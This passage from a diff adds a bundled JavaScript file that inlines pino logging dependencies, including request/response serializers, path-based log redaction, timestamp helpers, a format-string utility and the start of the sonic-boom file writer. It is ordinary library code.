req.originalUrl; + } else { + const path = req.path; + _req.url = typeof path === "string" ? path : req.url ? req.url.path || req.url : void 0; + } + if (req.query) { + _req.query = req.query; + } + if (req.params) { + _req.params = req.params; + } + _req.headers = req.headers; + _req.remoteAddress = connection2 && connection2.remoteAddress; + _req.remotePort = connection2 && connection2.remotePort; + _req.raw = req.raw || req; + return _req; + } + function mapHttpRequest(req) { + return { + req: reqSerializer(req) + }; + } + } +}); + +// node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/res.js +var require_res = __commonJS({ + "node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/lib/res.js"(exports, module) { + "use strict"; + module.exports = { + mapHttpResponse, + resSerializer + }; + var rawSymbol = Symbol("pino-raw-res-ref"); + var pinoResProto = Object.create({}, { + statusCode: { + enumerable: true, + writable: true, + value: 0 + }, + headers: { + enumerable: true, + writable: true, + value: "" + }, + raw: { + enumerable: false, + get: function() { + return this[rawSymbol]; + }, + set: function(val) { + this[rawSymbol] = val; + } + } + }); + Object.defineProperty(pinoResProto, rawSymbol, { + writable: true, + value: {} + }); + function resSerializer(res) { + const _res = Object.create(pinoResProto); + _res.statusCode = res.headersSent ? res.statusCode : null; + _res.headers = res.getHeaders ? res.getHeaders() : res._headers; + _res.raw = res; + return _res; + } + function mapHttpResponse(res) { + return { + res: resSerializer(res) + }; + } + } +}); + +// node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/index.js +var require_pino_std_serializers = __commonJS({ + "node_modules/.pnpm/pino-std-serializers@7.1.0/node_modules/pino-std-serializers/index.js"(exports, module) { + "use strict"; + var errSerializer = require_err(); + var errWithCauseSerializer = require_err_with_cause(); + var reqSerializers = require_req(); + var resSerializers = require_res(); + module.exports = { + err: errSerializer, + errWithCause: errWithCauseSerializer, + mapHttpRequest: reqSerializers.mapHttpRequest, + mapHttpResponse: resSerializers.mapHttpResponse, + req: reqSerializers.reqSerializer, + res: resSerializers.resSerializer, + wrapErrorSerializer: function wrapErrorSerializer(customSerializer) { + if (customSerializer === errSerializer) return customSerializer; + return function wrapErrSerializer(err) { + return customSerializer(errSerializer(err)); + }; + }, + wrapRequestSerializer: function wrapRequestSerializer(customSerializer) { + if (customSerializer === reqSerializers.reqSerializer) return customSerializer; + return function wrappedReqSerializer(req) { + return customSerializer(reqSerializers.reqSerializer(req)); + }; + }, + wrapResponseSerializer: function wrapResponseSerializer(customSerializer) { + if (customSerializer === resSerializers.resSerializer) return customSerializer; + return function wrappedResSerializer(res) { + return customSerializer(resSerializers.resSerializer(res)); + }; + } + }; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/caller.js +var require_caller = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/caller.js"(exports, module) { + "use strict"; + function noOpPrepareStackTrace(_, stack) { + return stack; + } + module.exports = function getCallers() { + const originalPrepare = Error.prepareStackTrace; + Error.prepareStackTrace = noOpPrepareStackTrace; + const stack = new Error().stack; + Error.prepareStackTrace = originalPrepare; + if (!Array.isArray(stack)) { + return void 0; + } + const entries = stack.slice(2); + const fileNames = []; + for (const entry of entries) { + if (!entry) { + continue; + } + fileNames.push(entry.getFileName()); + } + return fileNames; + }; + } +}); + +// node_modules/.pnpm/@pinojs+redact@0.4.0/node_modules/@pinojs/redact/index.js +var require_redact = __commonJS({ + "node_modules/.pnpm/@pinojs+redact@0.4.0/node_modules/@pinojs/redact/index.js"(exports, module) { + "use strict"; + function deepClone(obj) { + if (obj === null || typeof obj !== "object") { + return obj; + } + if (obj instanceof Date) { + return new Date(obj.getTime()); + } + if (obj instanceof Array) { + const cloned = []; + for (let i = 0; i < obj.length; i++) { + cloned[i] = deepClone(obj[i]); + } + return cloned; + } + if (typeof obj === "object") { + const cloned = Object.create(Object.getPrototypeOf(obj)); + for (const key in obj) { + if (Object.prototype.hasOwnProperty.call(obj, key)) { + cloned[key] = deepClone(obj[key]); + } + } + return cloned; + } + return obj; + } + function parsePath(path) { + const parts = []; + let current = ""; + let inBrackets = false; + let inQuotes = false; + let quoteChar = ""; + for (let i = 0; i < path.length; i++) { + const char2 = path[i]; + if (!inBrackets && char2 === ".") { + if (current) { + parts.push(current); + current = ""; + } + } else if (char2 === "[") { + if (current) { + parts.push(current); + current = ""; + } + inBrackets = true; + } else if (char2 === "]" && inBrackets) { + parts.push(current); + current = ""; + inBrackets = false; + inQuotes = false; + } else if ((char2 === '"' || char2 === "'") && inBrackets) { + if (!inQuotes) { + inQuotes = true; + quoteChar = char2; + } else if (char2 === quoteChar) { + inQuotes = false; + quoteChar = ""; + } else { + current += char2; + } + } else { + current += char2; + } + } + if (current) { + parts.push(current); + } + return parts; + } + function setValue(obj, parts, value) { + let current = obj; + for (let i = 0; i < parts.length - 1; i++) { + const key = parts[i]; + if (typeof current !== "object" || current === null || !(key in current)) { + return false; + } + if (typeof current[key] !== "object" || current[key] === null) { + return false; + } + current = current[key]; + } + const lastKey = parts[parts.length - 1]; + if (lastKey === "*") { + if (Array.isArray(current)) { + for (let i = 0; i < current.length; i++) { + current[i] = value; + } + } else if (typeof current === "object" && current !== null) { + for (const key in current) { + if (Object.prototype.hasOwnProperty.call(current, key)) { + current[key] = value; + } + } + } + } else { + if (typeof current === "object" && current !== null && lastKey in current && Object.prototype.hasOwnProperty.call(current, lastKey)) { + current[lastKey] = value; + } + } + return true; + } + function removeKey(obj, parts) { + let current = obj; + for (let i = 0; i < parts.length - 1; i++) { + const key = parts[i]; + if (typeof current !== "object" || current === null || !(key in current)) { + return false; + } + if (typeof current[key] !== "object" || current[key] === null) { + return false; + } + current = current[key]; + } + const lastKey = parts[parts.length - 1]; + if (lastKey === "*") { + if (Array.isArray(current)) { + for (let i = 0; i < current.length; i++) { + current[i] = void 0; + } + } else if (typeof current === "object" && current !== null) { + for (const key in current) { + if (Object.prototype.hasOwnProperty.call(current, key)) { + delete current[key]; + } + } + } + } else { + if (typeof current === "object" && current !== null && lastKey in current && Object.prototype.hasOwnProperty.call(current, lastKey)) { + delete current[lastKey]; + } + } + return true; + } + var PATH_NOT_FOUND = Symbol("PATH_NOT_FOUND"); + function getValueIfExists(obj, parts) { + let current = obj; + for (const part of parts) { + if (current === null || current === void 0) { + return PATH_NOT_FOUND; + } + if (typeof current !== "object" || current === null) { + return PATH_NOT_FOUND; + } + if (!(part in current)) { + return PATH_NOT_FOUND; + } + current = current[part]; + } + return current; + } + function getValue(obj, parts) { + let current = obj; + for (const part of parts) { + if (current === null || current === void 0) { + return void 0; + } + if (typeof current !== "object" || current === null) { + return void 0; + } + current = current[part]; + } + return current; + } + function redactPaths(obj, paths, censor, remove = false) { + for (const path of paths) { + const parts = parsePath(path); + if (parts.includes("*")) { + redactWildcardPath(obj, parts, censor, path, remove); + } else { + if (remove) { + removeKey(obj, parts); + } else { + const value = getValueIfExists(obj, parts); + if (value === PATH_NOT_FOUND) { + continue; + } + const actualCensor = typeof censor === "function" ? censor(value, parts) : censor; + setValue(obj, parts, actualCensor); + } + } + } + } + function redactWildcardPath(obj, parts, censor, originalPath, remove = false) { + const wildcardIndex = parts.indexOf("*"); + if (wildcardIndex === parts.length - 1) { + const parentParts = parts.slice(0, -1); + let current = obj; + for (const part of parentParts) { + if (current === null || current === void 0) return; + if (typeof current !== "object" || current === null) return; + current = current[part]; + } + if (Array.isArray(current)) { + if (remove) { + for (let i = 0; i < current.length; i++) { + current[i] = void 0; + } + } else { + for (let i = 0; i < current.length; i++) { + const indexPath = [...parentParts, i.toString()]; + const actualCensor = typeof censor === "function" ? censor(current[i], indexPath) : censor; + current[i] = actualCensor; + } + } + } else if (typeof current === "object" && current !== null) { + if (remove) { + const keysToDelete = []; + for (const key in current) { + if (Object.prototype.hasOwnProperty.call(current, key)) { + keysToDelete.push(key); + } + } + for (const key of keysToDelete) { + delete current[key]; + } + } else { + for (const key in current) { + const keyPath = [...parentParts, key]; + const actualCensor = typeof censor === "function" ? censor(current[key], keyPath) : censor; + current[key] = actualCensor; + } + } + } + } else { + redactIntermediateWildcard(obj, parts, censor, wildcardIndex, originalPath, remove); + } + } + function redactIntermediateWildcard(obj, parts, censor, wildcardIndex, originalPath, remove = false) { + const beforeWildcard = parts.slice(0, wildcardIndex); + const afterWildcard = parts.slice(wildcardIndex + 1); + const pathArray = []; + function traverse(current, pathLength) { + if (pathLength === beforeWildcard.length) { + if (Array.isArray(current)) { + for (let i = 0; i < current.length; i++) { + pathArray[pathLength] = i.toString(); + traverse(current[i], pathLength + 1); + } + } else if (typeof current === "object" && current !== null) { + for (const key in current) { + pathArray[pathLength] = key; + traverse(current[key], pathLength + 1); + } + } + } else if (pathLength < beforeWildcard.length) { + const nextKey = beforeWildcard[pathLength]; + if (current && typeof current === "object" && current !== null && nextKey in current) { + pathArray[pathLength] = nextKey; + traverse(current[nextKey], pathLength + 1); + } + } else { + if (afterWildcard.includes("*")) { + const wrappedCensor = typeof censor === "function" ? (value, path) => { + const fullPath = [...pathArray.slice(0, pathLength), ...path]; + return censor(value, fullPath); + } : censor; + redactWildcardPath(current, afterWildcard, wrappedCensor, originalPath, remove); + } else { + if (remove) { + removeKey(current, afterWildcard); + } else { + const actualCensor = typeof censor === "function" ? censor(getValue(current, afterWildcard), [...pathArray.slice(0, pathLength), ...afterWildcard]) : censor; + setValue(current, afterWildcard, actualCensor); + } + } + } + } + if (beforeWildcard.length === 0) { + traverse(obj, 0); + } else { + let current = obj; + for (let i = 0; i < beforeWildcard.length; i++) { + const part = beforeWildcard[i]; + if (current === null || current === void 0) return; + if (typeof current !== "object" || current === null) return; + current = current[part]; + pathArray[i] = part; + } + if (current !== null && current !== void 0) { + traverse(current, beforeWildcard.length); + } + } + } + function buildPathStructure(pathsToClone) { + if (pathsToClone.length === 0) { + return null; + } + const pathStructure = /* @__PURE__ */ new Map(); + for (const path of pathsToClone) { + const parts = parsePath(path); + let current = pathStructure; + for (let i = 0; i < parts.length; i++) { + const part = parts[i]; + if (!current.has(part)) { + current.set(part, /* @__PURE__ */ new Map()); + } + current = current.get(part); + } + } + return pathStructure; + } + function selectiveClone(obj, pathStructure) { + if (!pathStructure) { + return obj; + } + function cloneSelectively(source, pathMap, depth = 0) { + if (!pathMap || pathMap.size === 0) { + return source; + } + if (source === null || typeof source !== "object") { + return source; + } + if (source instanceof Date) { + return new Date(source.getTime()); + } + if (Array.isArray(source)) { + const cloned2 = []; + for (let i = 0; i < source.length; i++) { + const indexStr = i.toString(); + if (pathMap.has(indexStr) || pathMap.has("*")) { + cloned2[i] = cloneSelectively(source[i], pathMap.get(indexStr) || pathMap.get("*")); + } else { + cloned2[i] = source[i]; + } + } + return cloned2; + } + const cloned = Object.create(Object.getPrototypeOf(source)); + for (const key in source) { + if (Object.prototype.hasOwnProperty.call(source, key)) { + if (pathMap.has(key) || pathMap.has("*")) { + cloned[key] = cloneSelectively(source[key], pathMap.get(key) || pathMap.get("*")); + } else { + cloned[key] = source[key]; + } + } + } + return cloned; + } + return cloneSelectively(obj, pathStructure); + } + function validatePath(path) { + if (typeof path !== "string") { + throw new Error("Paths must be (non-empty) strings"); + } + if (path === "") { + throw new Error("Invalid redaction path ()"); + } + if (path.includes("..")) { + throw new Error(`Invalid redaction path (${path})`); + } + if (path.includes(",")) { + throw new Error(`Invalid redaction path (${path})`); + } + let bracketCount = 0; + let inQuotes = false; + let quoteChar = ""; + for (let i = 0; i < path.length; i++) { + const char2 = path[i]; + if ((char2 === '"' || char2 === "'") && bracketCount > 0) { + if (!inQuotes) { + inQuotes = true; + quoteChar = char2; + } else if (char2 === quoteChar) { + inQuotes = false; + quoteChar = ""; + } + } else if (char2 === "[" && !inQuotes) { + bracketCount++; + } else if (char2 === "]" && !inQuotes) { + bracketCount--; + if (bracketCount < 0) { + throw new Error(`Invalid redaction path (${path})`); + } + } + } + if (bracketCount !== 0) { + throw new Error(`Invalid redaction path (${path})`); + } + } + function validatePaths(paths) { + if (!Array.isArray(paths)) { + throw new TypeError("paths must be an array"); + } + for (const path of paths) { + validatePath(path); + } + } + function slowRedact(options = {}) { + const { + paths = [], + censor = "[REDACTED]", + serialize = JSON.stringify, + strict = true, + remove = false + } = options; + validatePaths(paths); + const pathStructure = buildPathStructure(paths); + return function redact(obj) { + if (strict && (obj === null || typeof obj !== "object")) { + if (obj === null || obj === void 0) { + return serialize ? serialize(obj) : obj; + } + if (typeof obj !== "object") { + return serialize ? serialize(obj) : obj; + } + } + const cloned = selectiveClone(obj, pathStructure); + const original = obj; + let actualCensor = censor; + if (typeof censor === "function") { + actualCensor = censor; + } + redactPaths(cloned, paths, actualCensor, remove); + if (serialize === false) { + cloned.restore = function() { + return deepClone(original); + }; + return cloned; + } + if (typeof serialize === "function") { + return serialize(cloned); + } + return JSON.stringify(cloned); + }; + } + module.exports = slowRedact; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/symbols.js +var require_symbols = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/symbols.js"(exports, module) { + "use strict"; + var setLevelSym = Symbol("pino.setLevel"); + var getLevelSym = Symbol("pino.getLevel"); + var levelValSym = Symbol("pino.levelVal"); + var levelCompSym = Symbol("pino.levelComp"); + var useLevelLabelsSym = Symbol("pino.useLevelLabels"); + var useOnlyCustomLevelsSym = Symbol("pino.useOnlyCustomLevels"); + var mixinSym = Symbol("pino.mixin"); + var lsCacheSym = Symbol("pino.lsCache"); + var chindingsSym = Symbol("pino.chindings"); + var asJsonSym = Symbol("pino.asJson"); + var writeSym = Symbol("pino.write"); + var redactFmtSym = Symbol("pino.redactFmt"); + var timeSym = Symbol("pino.time"); + var timeSliceIndexSym = Symbol("pino.timeSliceIndex"); + var streamSym = Symbol("pino.stream"); + var stringifySym = Symbol("pino.stringify"); + var stringifySafeSym = Symbol("pino.stringifySafe"); + var stringifiersSym = Symbol("pino.stringifiers"); + var endSym = Symbol("pino.end"); + var formatOptsSym = Symbol("pino.formatOpts"); + var messageKeySym = Symbol("pino.messageKey"); + var errorKeySym = Symbol("pino.errorKey"); + var nestedKeySym = Symbol("pino.nestedKey"); + var nestedKeyStrSym = Symbol("pino.nestedKeyStr"); + var mixinMergeStrategySym = Symbol("pino.mixinMergeStrategy"); + var msgPrefixSym = Symbol("pino.msgPrefix"); + var wildcardFirstSym = Symbol("pino.wildcardFirst"); + var serializersSym = Symbol.for("pino.serializers"); + var formattersSym = Symbol.for("pino.formatters"); + var hooksSym = Symbol.for("pino.hooks"); + var needsMetadataGsym = Symbol.for("pino.metadata"); + module.exports = { + setLevelSym, + getLevelSym, + levelValSym, + levelCompSym, + useLevelLabelsSym, + mixinSym, + lsCacheSym, + chindingsSym, + asJsonSym, + writeSym, + serializersSym, + redactFmtSym, + timeSym, + timeSliceIndexSym, + streamSym, + stringifySym, + stringifySafeSym, + stringifiersSym, + endSym, + formatOptsSym, + messageKeySym, + errorKeySym, + nestedKeySym, + wildcardFirstSym, + needsMetadataGsym, + useOnlyCustomLevelsSym, + formattersSym, + hooksSym, + nestedKeyStrSym, + mixinMergeStrategySym, + msgPrefixSym + }; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/redaction.js +var require_redaction = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/redaction.js"(exports, module) { + "use strict"; + var Redact = require_redact(); + var { redactFmtSym, wildcardFirstSym } = require_symbols(); + var rx = /[^.[\]]+|\[([^[\]]*?)\]/g; + var CENSOR = "[Redacted]"; + var strict = false; + function redaction(opts, serialize) { + const { paths, censor, remove } = handle(opts); + const shape = paths.reduce((o, str) => { + rx.lastIndex = 0; + const first = rx.exec(str); + const next = rx.exec(str); + let ns = first[1] !== void 0 ? first[1].replace(/^(?:"|'|`)(.*)(?:"|'|`)$/, "$1") : first[0]; + if (ns === "*") { + ns = wildcardFirstSym; + } + if (next === null) { + o[ns] = null; + return o; + } + if (o[ns] === null) { + return o; + } + const { index: index2 } = next; + const nextPath = `${str.substr(index2, str.length - 1)}`; + o[ns] = o[ns] || []; + if (ns !== wildcardFirstSym && o[ns].length === 0) { + o[ns].push(...o[wildcardFirstSym] || []); + } + if (ns === wildcardFirstSym) { + Object.keys(o).forEach(function(k) { + if (o[k]) { + o[k].push(nextPath); + } + }); + } + o[ns].push(nextPath); + return o; + }, {}); + const result = { + [redactFmtSym]: Redact({ paths, censor, serialize, strict, remove }) + }; + const topCensor = (...args) => { + return typeof censor === "function" ? serialize(censor(...args)) : serialize(censor); + }; + return [...Object.keys(shape), ...Object.getOwnPropertySymbols(shape)].reduce((o, k) => { + if (shape[k] === null) { + o[k] = (value) => topCensor(value, [k]); + } else { + const wrappedCensor = typeof censor === "function" ? (value, path) => { + return censor(value, [k, ...path]); + } : censor; + o[k] = Redact({ + paths: shape[k], + censor: wrappedCensor, + serialize, + strict, + remove + }); + } + return o; + }, result); + } + function handle(opts) { + if (Array.isArray(opts)) { + opts = { paths: opts, censor: CENSOR }; + return opts; + } + let { paths, censor = CENSOR, remove } = opts; + if (Array.isArray(paths) === false) { + throw Error("pino \u2013 redact must contain an array of strings"); + } + if (remove === true) censor = void 0; + return { paths, censor, remove }; + } + module.exports = redaction; + } +}); + +// node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/time.js +var require_time = __commonJS({ + "node_modules/.pnpm/pino@10.3.1/node_modules/pino/lib/time.js"(exports, module) { + "use strict"; + var nullTime = () => ""; + var epochTime = () => `,"time":${Date.now()}`; + var unixTime = () => `,"time":${Math.round(Date.now() / 1e3)}`; + var isoTime = () => `,"time":"${new Date(Date.now()).toISOString()}"`; + var NS_PER_MS = 1000000n; + var NS_PER_SEC = 1000000000n; + var startWallTimeNs = BigInt(Date.now()) * NS_PER_MS; + var startHrTime = process.hrtime.bigint(); + var isoTimeNano = () => { + const elapsedNs = process.hrtime.bigint() - startHrTime; + const currentTimeNs = startWallTimeNs + elapsedNs; + const secondsSinceEpoch = currentTimeNs / NS_PER_SEC; + const nanosWithinSecond = currentTimeNs % NS_PER_SEC; + const msSinceEpoch = Number(secondsSinceEpoch * 1000n + nanosWithinSecond / 1000000n); + const date6 = new Date(msSinceEpoch); + const year = date6.getUTCFullYear(); + const month = (date6.getUTCMonth() + 1).toString().padStart(2, "0"); + const day = date6.getUTCDate().toString().padStart(2, "0"); + const hours = date6.getUTCHours().toString().padStart(2, "0"); + const minutes = date6.getUTCMinutes().toString().padStart(2, "0"); + const seconds = date6.getUTCSeconds().toString().padStart(2, "0"); + return `,"time":"${year}-${month}-${day}T${hours}:${minutes}:${seconds}.${nanosWithinSecond.toString().padStart(9, "0")}Z"`; + }; + module.exports = { nullTime, epochTime, unixTime, isoTime, isoTimeNano }; + } +}); + +// node_modules/.pnpm/quick-format-unescaped@4.0.4/node_modules/quick-format-unescaped/index.js +var require_quick_format_unescaped = __commonJS({ + "node_modules/.pnpm/quick-format-unescaped@4.0.4/node_modules/quick-format-unescaped/index.js"(exports, module) { + "use strict"; + function tryStringify(o) { + try { + return JSON.stringify(o); + } catch (e) { + return '"[Circular]"'; + } + } + module.exports = format; + function format(f, args, opts) { + var ss = opts && opts.stringify || tryStringify; + var offset = 1; + if (typeof f === "object" && f !== null) { + var len = args.length + offset; + if (len === 1) return f; + var objects = new Array(len); + objects[0] = ss(f); + for (var index2 = 1; index2 < len; index2++) { + objects[index2] = ss(args[index2]); + } + return objects.join(" "); + } + if (typeof f !== "string") { + return f; + } + var argLen = args.length; + if (argLen === 0) return f; + var str = ""; + var a = 1 - offset; + var lastPos = -1; + var flen = f && f.length || 0; + for (var i = 0; i < flen; ) { + if (f.charCodeAt(i) === 37 && i + 1 < flen) { + lastPos = lastPos > -1 ? lastPos : 0; + switch (f.charCodeAt(i + 1)) { + case 100: + // 'd' + case 102: + if (a >= argLen) + break; + if (args[a] == null) break; + if (lastPos < i) + str += f.slice(lastPos, i); + str += Number(args[a]); + lastPos = i + 2; + i++; + break; + case 105: + if (a >= argLen) + break; + if (args[a] == null) break; + if (lastPos < i) + str += f.slice(lastPos, i); + str += Math.floor(Number(args[a])); + lastPos = i + 2; + i++; + break; + case 79: + // 'O' + case 111: + // 'o' + case 106: + if (a >= argLen) + break; + if (args[a] === void 0) break; + if (lastPos < i) + str += f.slice(lastPos, i); + var type = typeof args[a]; + if (type === "string") { + str += "'" + args[a] + "'"; + lastPos = i + 2; + i++; + break; + } + if (type === "function") { + str += args[a].name || ""; + lastPos = i + 2; + i++; + break; + } + str += ss(args[a]); + lastPos = i + 2; + i++; + break; + case 115: + if (a >= argLen) + break; + if (lastPos < i) + str += f.slice(lastPos, i); + str += String(args[a]); + lastPos = i + 2; + i++; + break; + case 37: + if (lastPos < i) + str += f.slice(lastPos, i); + str += "%"; + lastPos = i + 2; + i++; + a--; + break; + } + ++a; + } + ++i; + } + if (lastPos === -1) + return f; + else if (lastPos < flen) { + str += f.slice(lastPos); + } + return str; + } + } +}); + +// node_modules/.pnpm/atomic-sleep@1.0.0/node_modules/atomic-sleep/index.js +var require_atomic_sleep = __commonJS({ + "node_modules/.pnpm/atomic-sleep@1.0.0/node_modules/atomic-sleep/index.js"(exports, module) { + "use strict"; + if (typeof SharedArrayBuffer !== "undefined" && typeof Atomics !== "undefined") { + let sleep = function(ms) { + const valid = ms > 0 && ms < Infinity; + if (valid === false) { + if (typeof ms !== "number" && typeof ms !== "bigint") { + throw TypeError("sleep: ms must be a number"); + } + throw RangeError("sleep: ms must be a number that is greater than 0 but less than Infinity"); + } + Atomics.wait(nil, 0, 0, Number(ms)); + }; + const nil = new Int32Array(new SharedArrayBuffer(4)); + module.exports = sleep; + } else { + let sleep = function(ms) { + const valid = ms > 0 && ms < Infinity; + if (valid === false) { + if (typeof ms !== "number" && typeof ms !== "bigint") { + throw TypeError("sleep: ms must be a number"); + } + throw RangeError("sleep: ms must be a number that is greater than 0 but less than Infinity"); + } + const target = Date.now() + Number(ms); + while (target > Date.now()) { + } + }; + module.exports = sleep; + } + } +}); + +// node_modules/.pnpm/sonic-boom@4.2.1/node_modules/sonic-boom/index.js +var require_sonic_boom = __commonJS({ + "node_modules/.pnpm/sonic-boom@4.2.1/node_modules/sonic-boom/index.js"(exports, module) { + "use strict"; + var fs2 = __require("fs"); + var EventEmitter = __require("events"); + var inherits = __require("util").inherits; + var path = __require("path"); + var sleep = require_atomic_sleep(); + var assert2 = __require("assert"); + var BUSY_WRITE_TIMEOUT = 100; + var kEmptyBuffer = Buffer.allocUnsafe(0); + var MAX_WRITE = 16 * 1024; + var kContentModeBuffer = "buffer"; + var kContentModeUtf8 = "utf8"; + var [major2, minor] = (process.versions.node || "0.0").split(".").map(Number); + var kCopyBuffer = major2 >= 22 && minor >= 7; + function openFile(file2, sonic) { + sonic._opening = true; + sonic._writing = true; + sonic._asyncDrainScheduled = false; + function fileOpened(err, fd) { + if (err) { + sonic._reopening = false; + sonic._writing = false; + sonic._opening = false; + if (sonic.sync) { + process.nextTick(() => { + if (sonic.listenerCount("error") > 0) { + sonic.emit("error", err); + } + }); + } else { + sonic.emit("error", err); + } + return; + } + const reopening = sonic._reopening; + sonic.fd = fd; + sonic.file = file2; + sonic._reopening = false; + sonic._opening = false; + sonic._writing = false; + if (sonic.sync) { + process.nextTick(() => sonic.emit("ready")); + } else { + sonic.emit("ready"); + } + if (sonic.destroyed) { + return; + } + if (!sonic._writing && sonic._len > sonic.minLength || sonic._flushPending) { + sonic._actualWrite(); + } else if (reopening) { + process.nextTick(() => sonic.emit("drain")); + } + } + const flags = sonic.append ? "a" : "w"; + const mode = sonic.mode; + if (sonic.sync) { + try { + if (sonic.mkdir) fs2.mkdirSync(path.dirname(file2), { recursive: true }); + const fd = fs2.openSync(file2, flags, mode); + fileOpened(null, fd); + } catch (err) { + fileOpened(err); + throw err; + } + } else if (sonic.mkdir) { + fs2.mkdir(path.dirname(file2), { recursive: true }, (err) => { + if (err) return fileOpened(err); + fs2.open(file2, flags, mode, fileOpened); + }); + } else { + fs2.open(file2, flags, mode, fileOpened); + } + } + function SonicBoom(opts) { + if (!(this instanceof SonicBoom)) { + return new SonicBoom(opts); + } + let { fd, dest, minLength, maxLength, maxWrite, periodicFlush, sync, append = true, mkdir, retryEAGAIN, fsync, contentMode, mode } = opts || {}; + fd = fd || dest; + this._len = 0; + this.fd = -1; + this._bufs = []; + this._lens = []; + this._writing = false; + this._ending = false; + this._reopening = false; + this._asyncDrainScheduled = false; + this._flushPending = false; + this._hwm = Math.max(minLength || 0, 16387); + this.file = null; + this.destroyed = false; + this.minLength = minLength || 0; + this.maxLength = maxLength || 0; + this.maxWrite = maxWrite || MAX_WRITE; + this._periodicFlush = periodicFlush || 0; + this._periodicFlushTimer = void 0; + this.sync = sync || false; + this.writable = true; + this._fsync = fsync || false; + this.append = append || false; + this.mode = mode; + this.retryEAGAIN = retryEAGAIN || (() => true); + this.mkdir = mkdir || false; + let fsWriteSync; + let fsWrite; + if (contentMode === kContentModeBuffer) { + this._writingBuf = kEmptyBuffer; + this.write = writeBuffer; + this.flush = flushBuffer; + this.flushSync = flushBufferSync; + this._actualWrite = actualWriteBuffer; + fsWriteSync = () => fs2.writeSync(this.fd, this._writingBuf); + fsWrite = () => fs2.write(this.fd, this._writingBuf, this.release); + } else if (contentMode === void 0 || contentMode === kContentModeUtf8) { + this._writingBuf = ""; + this.write = write; + this.flush = flush; + this.flushSync = flushSync; + this._actualWrite = actualWrite; + fsWriteSync = () => { + if (Buffer.isBuffer(this._writingBuf)) { + return fs2.writeSync(this.fd, this._writingBuf); + } + return fs2.writeSync(this.fd, this._writingBuf, "utf8"); + }; + fsWrite = () => { + if (Buffer.isBuffer(this._writingBuf)) { + return fs2.write(this.fd, this._writingBuf, this.release); + } + return fs2.write(this.fd, this._writingBuf, "utf8", this.release); + }; + } else { + throw new Error(`SonicBoom supports "${kContentModeUtf8}" and "${kContentModeBuffer}", but passed ${contentMode}`); + } + if (typeof fd === "number") { + this.fd = fd; + process.nextTick(() => this.emit("ready")); + } else if (typeof fd === "string") { + openFile(fd, this); + } else { + throw new Error("SonicBoom supports only file descriptors and files"); + } + if (this.minLength >= this.maxWrite) { + throw new Error(`minLength should be smaller than maxWrite (${this.maxWrite})`); + } + this.release = (err, n) => { + if (err) { + if ((err.code === "EAGAIN" || err.code === "EBUSY") && this.retryEAGAIN(err, this._writingBuf.length, this._len - this._writingBuf.length)) { + if (this.sync) { + try { + sleep(BUSY_WRITE_TIMEOUT); + this.release(void 0, 0); + } catch (err2) { + this.release(err2); + } + } else { + setTimeout(fsWrite, BUSY_WRITE_TIMEOUT); + } + } else { + this._writing = false; + this.emit("error", err); + } + return; + } + this.emit("write", n); + const releasedBufObj = releaseWritingBuf(this._writingBuf, this._len, n); + this._len = releasedBufObj.len; + this._writingBuf = releasedBufObj.writingBuf; + if (this._writingBuf.length) { + if (!this.sync) { + fsWrite(); + return; + } + try { + do { + const n2 = fsWriteSync(); + const releasedBufObj2 = releaseWritingBuf(this._writingBuf, this._len, n2); + this._len = releasedBufObj2.len; + this._writingBuf = releasedBufObj2.writingBuf; + } while (this._writingBuf.length); + } catch (err2) { + this.release(err2); + return; + } + } + if (this._fsync) { + fs2.fsyncSync(this.fd); + } + const len = this._len; + if (this._reopening) { + this._writing = false; + this._reopening = false; + this.reopen(); + } else if (len > this.minLength) { + this._actualWrite(); + } else if (this._ending) { + if (len > 0) { + this._actualWrite(); + } else { + this._writing = false; + actualClose(this); + } + } else { + this._writing = false; + if (this.sync) { + if (!this._asyncDrainScheduled) { + this._asyncDrainScheduled = true; + process.nextTick(emitDrain, this); + } + } else { + this.emit("drain"); + } + } + }; + this.on("newListener", function(name) { + if (name === "drain") { + this._asyncDrainScheduled = false; + } + }); + if (this._periodicFlush !== 0) { + this._periodicFlushTimer = setInterval(() => this.flush(null), this._periodicFlush); + this._periodicFlushTimer.unref(); + } + } + function releaseWritingBuf(writingBuf, len, n) { + if (typeof writingBuf === "string") { + writingBuf = Buffer.from(writingBuf); + } + len = Math.max(len - n, 0); + writingBuf = writingBuf.subarray(n); + return { writingBuf, len }; + } + function emitDrain(sonic) { + const hasListeners = sonic.listenerCount("drain") > 0; + if (!hasListeners) return; + sonic._asyncDrainScheduled = false; + sonic.emit("drain"); + } + inherits(SonicBoom, EventEmitter); + function mergeBuf(bufs, len) { + if (bufs.length === 0) { + return kEmptyBuffer; + } + if (bufs.length === 1) { + return bufs[0]; + } + return Buffer.concat(bufs, len); + } + function write(data) { + if (this.destroyed) { + throw new Error("SonicBoom destroyed"); + } + data = "" + data; + const dataLen = Buffer.byteLength(data); + const len = this._len + dataLen; + const bufs = this._bufs; + if (this.maxLength && len > this.maxLength) { + this.emit("drop", data); + return this._len < this._hwm; + } + if (bufs.length === 0 || Buffer.byteLength(bufs[bufs.length - 1]) + dataLen > this.maxWrite) { + bufs.push(data); + } else { + bufs[bufs.length - 1] += data; + } + this._len = len; + if (!this._writing && this._len >= this.minLength) { + this._actualWrite(); + } + return this._len < this._hwm; + } + function writeBuffer(data) { + if (this.destroyed) { + throw new Error("SonicBoom destroyed"); + } + const len = this._len + data.length; + const bufs = this._bufs; + const lens = this._lens; + if (this.maxLength && len > this.maxLength) { + this.emit("drop", data); + return this._len < this._hwm; + } + if (bufs.length === 0 || lens[lens.length - 1] + data.length > this.maxWrite) { + bufs.push([data]); + lens.push(data.length); + } else { + bufs[bufs.length - 1].push(data); + lens[lens.length - 1] += data.length; + } + this._len = len; + if (!this._writing && this._len >= this.minLength) { + this._actualWrite(); + } + return this._len < this._hwm; + } + function callFlushCallbackOnDrain(cb) { + this._flushPending = true; + const onDrain = () => { + if (!this._fsync) { + try { + fs2.fsync(this.fd, (err) => { + this._flushPending = false; + 